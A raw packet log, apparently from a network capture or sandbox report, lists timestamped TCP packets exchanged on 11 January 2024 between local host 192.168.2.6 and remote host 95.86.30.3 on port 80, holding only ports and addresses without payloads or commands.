Jan 11, 2024 13:45:01.943713903 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:01.943730116 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:01.943774939 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:01.943850040 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:01.943888903 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:01.943984032 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:01.944042921 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:01.944068909 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:01.944108963 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:01.944209099 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:01.944250107 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:01.944336891 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:01.944376945 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:01.944451094 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:01.944515944 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:01.944550037 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:01.944606066 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:01.944628954 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:01.944670916 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:01.944717884 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:01.944760084 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:01.944864988 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:01.944951057 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:01.944952965 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:01.945111036 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:01.945142984 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:01.945154905 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:01.945167065 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:01.945216894 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:01.945400000 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:01.945453882 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:01.945519924 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:01.945568085 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:01.945647001 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:01.945692062 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:01.945708036 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:01.945754051 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:01.945771933 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:01.945811033 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:01.945847034 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:01.945899963 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:01.945925951 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:01.945972919 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:01.946149111 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:01.946198940 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:01.946202993 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:01.946244955 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:01.946269989 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:01.946314096 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:01.946383953 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:01.946429968 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:01.946453094 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:01.946494102 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:01.946681976 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:01.946728945 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:01.946739912 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:01.946783066 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:01.946875095 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:01.946923018 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:01.946958065 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:01.946999073 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:01.947108984 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:01.947159052 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:01.947273016 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:01.947315931 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.158098936 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.158133984 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.158150911 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.158164978 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.158179998 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.158193111 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.158206940 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.158221006 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.158251047 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.158309937 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.159018993 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.159039021 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.159065008 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.159075022 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.159080982 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.159106016 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.159137964 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.159176111 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.159218073 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.159229994 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.159271002 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.160486937 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.160587072 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.160610914 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.160662889 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.160686016 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.160702944 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.160716057 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.160729885 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.160736084 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.160742998 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.160748005 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.160759926 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.160784960 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.160799026 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.162281036 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.162305117 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.162329912 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.162345886 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.162374973 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.162381887 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.162394047 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.162409067 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.162412882 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.162461996 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.162461996 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.163919926 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.163947105 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.163963079 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.163976908 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.163990021 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.164004087 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.164033890 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.164057970 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.164089918 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.164098978 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.164130926 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.164205074 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.164220095 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.164253950 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.164264917 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.164278984 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.164316893 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.164333105 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.164346933 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.164365053 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.164376974 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.164393902 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.164431095 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.164474964 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.164516926 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.164556980 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.164622068 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.164679050 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.164696932 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.164712906 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.164726973 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.164740086 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.164741993 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.164761066 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.164782047 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.164783955 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.164815903 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.164859056 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.164902925 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.164927959 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.164968967 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.164973021 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.165004969 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.167603016 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.167628050 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.167643070 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.167670965 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.167682886 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.167686939 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.167705059 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.167732000 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.167732000 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.167771101 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.167815924 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.167855024 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.168005943 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.168154955 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.213643074 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.213803053 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.375302076 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.375329971 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.375474930 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.375766039 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.375827074 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.375854015 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.375900984 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.375991106 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.376038074 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.376065016 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.376110077 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.376162052 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.376209974 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.376267910 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.376319885 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.376338959 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.376384974 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.376413107 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.376462936 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.376513004 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.376559973 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.376595974 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.376641989 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.376678944 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.376725912 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.376780033 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.376830101 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.376897097 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.376948118 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.376972914 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.377016068 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.377049923 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.377096891 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.377134085 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.377183914 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.377211094 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.377254009 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.377279043 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.377322912 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.377348900 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.377396107 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.377420902 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.377474070 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.377490997 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.377538919 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.377593040 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.377643108 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.377669096 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.377717972 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.377748013 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.377795935 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.377834082 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.377871990 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.377898932 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.377939939 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.377966881 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.378010988 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.378050089 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.378099918 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.378128052 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.378174067 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.378212929 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.378257990 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.378293991 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.378340006 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.378403902 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.378448963 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.378484964 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.378526926 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.378566027 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.378609896 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.378647089 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.378690958 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.378700972 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.378751040 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.378767967 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.378810883 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.378829956 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.378880024 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.378952980 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.379004955 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.379019976 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.379065037 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.379173040 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.379235983 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.379254103 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.379312992 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.379322052 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.379371881 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.379389048 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.379432917 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.379470110 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.379517078 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.379542112 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.379590034 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.379606009 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.379651070 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.379652023 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.379692078 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.379717112 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.379760027 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.379777908 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.379827023 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.379839897 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.379894972 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.379936934 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.379964113 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.379995108 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.380007982 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.380033970 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.380079985 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.380079985 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.380125046 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.380148888 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.380196095 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.380256891 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.380306005 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.380330086 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.380377054 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.380403042 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.380448103 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.380539894 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.380620956 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.380641937 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.380654097 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.380681992 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.380723000 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.380738974 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.380779028 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.380852938 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.380907059 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.380944014 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.380989075 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.381051064 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.381098032 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.381124020 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.381162882 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.381201029 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.381246090 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.381304026 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.381349087 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.381387949 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.381433010 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.381469965 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.381515980 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.381541967 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.381586075 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.381692886 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.381736994 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.381757021 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.381802082 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.381827116 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.381870031 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.381923914 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.381973982 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.382035017 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.382080078 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.382105112 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.382148981 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.382174969 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.382220030 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.382299900 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.382345915 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.382371902 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.382411957 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.382473946 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.382519960 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.382544041 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.382586002 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.382622957 CET	80	49714	95.86.30.3	192.168.2.6
